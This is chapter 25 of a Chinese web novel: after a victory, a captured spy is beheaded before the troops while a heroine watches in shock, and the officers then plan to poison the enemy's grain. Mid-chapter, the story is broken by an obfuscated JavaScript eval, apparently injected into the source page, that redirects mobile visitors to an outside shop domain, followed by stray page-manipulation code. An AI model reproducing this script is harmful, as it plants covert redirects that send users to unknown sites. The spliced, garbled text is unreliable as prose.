25. 第 25 章
    第二日天还未亮,裴霁曦率军向敌营出发。

    出发之前,让人悄声绑了细作郑大勇,郑大勇之前争旗时,在祁允的队伍里,祁允获胜,但郑大勇却落了队,之后刺客自戕的勺子,也是郑大勇暗中提供的。

    但只绑了一个细作,另一个,却随军出发了。此时不揪出,裴霁曦自有用处。

    大军保持雁型阵出发,空旷山间只闻铁蹄铮铮,和着风声节奏分明,初雪晴望着大军远去的痕迹,胸中心跳久久不能平歇。

    虽不得见真正的战场,但是从士兵肃穆的表情,视死如归的眼神中,让她第一次感受到战争的气息。

    那是用人命堆叠起来的胜败之争。

    早春微寒,可她在帐内坐不住,便在营中来回踱步,心中担忧尤甚。

    从晨光熹微,到暖阳高照,又到金乌西坠,仍不见大军得返。

    直到入夜不久,才见一批士兵回营,可回来的,除了护送的,竟都是伤兵。

    初雪晴忙帮着抬伤员,伤兵身上都血淋淋的,有的伤到了头,满脸淌血,甚是可怖;有的被砍掉了胳膊,断臂就放在身旁,不知还能否接回去;有的腹部汩汩流血,生死未卜……

    她以为此战已败,迟迟不见裴霁曦回营,便抓着旁边的小兵问:“裴小将军呢?”

    小兵答道:“此战大捷,我们先将伤兵送回来,将军随后回营。”

    “大捷?”初雪晴诧异道,“大捷为何伤了如此多人?”

    “这是打仗,当然会有伤患呀!没死人就不错了!”

    初雪晴沉默不语,手上动作未停,仍旧帮着军医处理伤患,手上衣服上沾上了血,却不像初见那般有些惧意,心中越来越麻木。

    大捷,没有牺牲,已是万幸。

    可这是否就意味着,敌营的北狄人,死伤不计其数呢?

    初雪晴此时的家国意识尚没有那么强烈,不论大宁还是北狄,皆是活生生的人命,每条人命背后,都牵扯着一个家庭,她不忍看见那么多人因战争失去活着的机会。

    不离战场这么近,是不会感受到那种充斥着血腥味的厮杀的。

    *

    在伤患处理得差不多时,听见外面喊道:“大军回营了!”

    初雪晴忙撩起帘子跑出伤患的营帐,只见月色和火把照耀之下,人群中最显眼的那个少年,手持长枪,铠甲裹身,一身英气带着些许风尘仆仆的打磨,英俊的面庞虽然年轻,却带着经历生死的沉静,只嘴角微扬的弧度看出了他此刻的心情。

    太多人围在他身边,初雪晴只能远远望着,直到此时此刻,躁动的心才略为平静了些。

    裴霁曦看到初雪晴,穿过众人,迈着大步,走到了她身旁。

    看到她身上的血迹,便知她应该是去照料伤患了,裴霁曦问:“伤兵怎么样?”

    “已经初步处理过了,还有一些伤重的,军医正在救治。”

    裴霁曦点头,又状似无意般问道:“没让你失望吧?”

    初雪晴道:“恭喜世子大获全胜。”

    “可我看你怎么没那么兴奋?”

    周围不断传来士兵的笑闹声,还有人畅快到大吼几声“胜了”,初雪晴才意识到,和周围人的反应比起来,自己太不正常了,忙露出笑容:“怎会,我只是刚看见那么多伤兵,有些担忧他们的伤情。”

    裴霁曦轻轻拍了拍她的肩膀:“不必担忧,此番虽略有损伤,但大胜敌军,又白得了上千良驹,北狄死伤过半,剩下的也都弃营而逃。”

    初雪晴压下心中莫名的情绪,笑道:“世子妙计,果真是上兵伐谋。”

    裴霁曦转而又道:“今夜处理了郑大勇。”

    初雪晴略作思量,大军得胜,此时揪出一个细作处理,既能安稳军心,对另一个又是个不小的敲打。

    初雪晴找到墨语让他把细作带出来,不多时,便见郑大勇便被绑着到了校场演武台之上。

    裴霁曦走到台上,身上铠甲还带着点点猩红,眉角额间尽显肃杀之气,火光映衬之下,那眸光中的森冷有些骇人。他对着台下众人道:“定远军的儿郎们,北狄侵我土地,啖我血肉,我们拼着性命,为的是身后这片土地的安宁,为的是家乡亲人们的平静,今日我军取得大胜,可这胜利来之不易,险些被居心叵测的人破坏。”

    他转向身旁被缚住手脚,跪在地上的郑大勇,高声道:“此人,是北狄的细作,若不是早有防范,我们的计划就要被他窃了去。但无论北狄用何手段,都无法攻下我们战无不胜的定远军。今日就用这细作的命,来祭奠我们过往牺牲在北狄战场上的战友。”

    台下众将士高喊着:“杀!杀!杀!”喊声回荡在军营夜空之上,响彻云霄。

    裴霁曦挥挥手,手下士兵便手起刀落,顷刻间郑大勇人头落地,演武台一角被红色浸染,那头颅上的眼睛却未闭上,直直看着前方。

    初雪晴第一次见到如此血腥的场面,耳边是初春的寒风啸声,伴着将士们的呼和,惧意让她手脚发凉,可眼睛却闭不上,和那头颅上的双眼似是对上了目光。

    郑大勇平常肆无忌惮的笑容似乎在眼前浮现,他是众多新兵中的一个,带着普通少年人的轻狂,当初雪晴查出细作的名字时,只是微微惊讶。可如今直到他殒命在此,她才忽然意识到,这是两个完全敌对的国家,你死或我亡,顷刻间消失的生命,后面是看不见的波涛汹涌。

    这只是大军得胜的插曲,并无人在意一个细作的死活。

    少年将军收敛眸中寒意,看着他的士兵,又说了些鼓舞人心的话,可初雪晴却仿似听不到了,眸光涣散,似乎是看着地上的头颅,又似是什么都没看。

    裴霁曦令人去备好酒好肉,犒赏辛劳一天的大军。

    众人慢慢散去,该休整的休整,该备饭的备饭。

    裴霁曦这才留意到被吓到的初雪晴,他走到初雪晴身边,温声道:“吓到了?”

    初雪晴慢慢回神,有些恍惚地喃喃道:“原来‘处理’是这个意思……”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733471|143224||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    裴霁曦皱皱眉头,折身面对着她,遮住她望向那头颅的眼神,道:“一个细作而已,你以后要面对更多的死亡,要慢慢适应。”

    初雪晴似是听懂了,默默点了点头。

    *

    石喙岭大捷之后,裴霁曦提拔了不少人,包括在大战中表现出色的祁允和何生,虽未正式请封,可日常商议大事,都叫上此二人。

    北狄经此一战,元气大伤。本来北狄得到消息,定远军大部守在望北关,这才转战石喙岭。可未料定远侯之子如此狡诈,让他们损失惨重。

    直至半月之后,北狄又卷土重来,毕竟从线报上看,石喙岭守军人数上还是比望北关少许多,攻打石喙岭还是北狄的重心。

    石喙岭中军大营之中,裴霁曦、方若渊、严奇胜、墨语、祁允、何生以及石喙岭常驻守将卢桀正在商议作战部署,初雪晴在旁侍候。

    “北狄此番重新做了补给,想必防范更甚,旧路约莫是行不通了。”方若渊担忧道,他的性子一向小心谨慎,即使有先前成功经验,也觉心中没底。

    严奇胜就不似方若渊这般谨慎,凡事到他那里,向来“冲”字了事。他重重拍了下桌案,“他老子的,北狄不管有多少兵马,也翻不过石喙岭去。”

    “石喙岭地势陡峭,本就不利于北狄行军,我们可借地势之便,顺势而守。”卢桀驻军石喙岭多年,对石喙岭地势了然于心。

    祁允闻言皱眉道:“可一味等待北狄进攻,太过被动了。”

    何生也是新进被提拔,期望有所表现,便附和了祁允的意见。

    墨语并未发表意见,只等着裴霁曦的指示。

    裴霁曦见诸将意见不统一,心中已有成算,这才开口道:“虽说北狄此番会更加小心,但我亦有助力,旧法针对马匹已然成功,此次我们可以转而针对人。”

    “对人?要对他们的军粮动手吗?”何生诧异问。

    裴霁曦点点头,“石喙岭地势不利北狄进攻,他们也会做好持久战的准备,因而军粮也是他们的重要保障,只要军粮得毁,他们不攻自败。”

    方若渊仍旧有些担忧,“可敌方已经吃过一次亏,我们想动军粮,颇有难度啊!”

    裴霁曦淡笑道:“放心,不止北狄有细作,我已安排好,敌营中也有我们的人。”

    墨语主动道:“上次行动我去了,也摸清了北狄营帐的布局,这次还是派我去吧!”

    严奇胜闻言激动道:“上次裴小将军去敌营偷袭,就没带上老子,这次让老子去打头阵,把北狄小儿的粮食都烧他个干净!”

    祁允也道:“不一定要烧,上次投喂泻药,是为了抢回马匹,这次可直接投些毒药,反正北狄士兵我们是不要的。”

    何生忙道:“要去投毒,我也可以去。”

    方若渊却沉思不语,似乎是想到什么,却总觉得想不透彻。

    可这件事终究还是这么定了,裴霁曦指定墨语带人去行动,严奇胜虽跃跃欲试,但也听从了军令。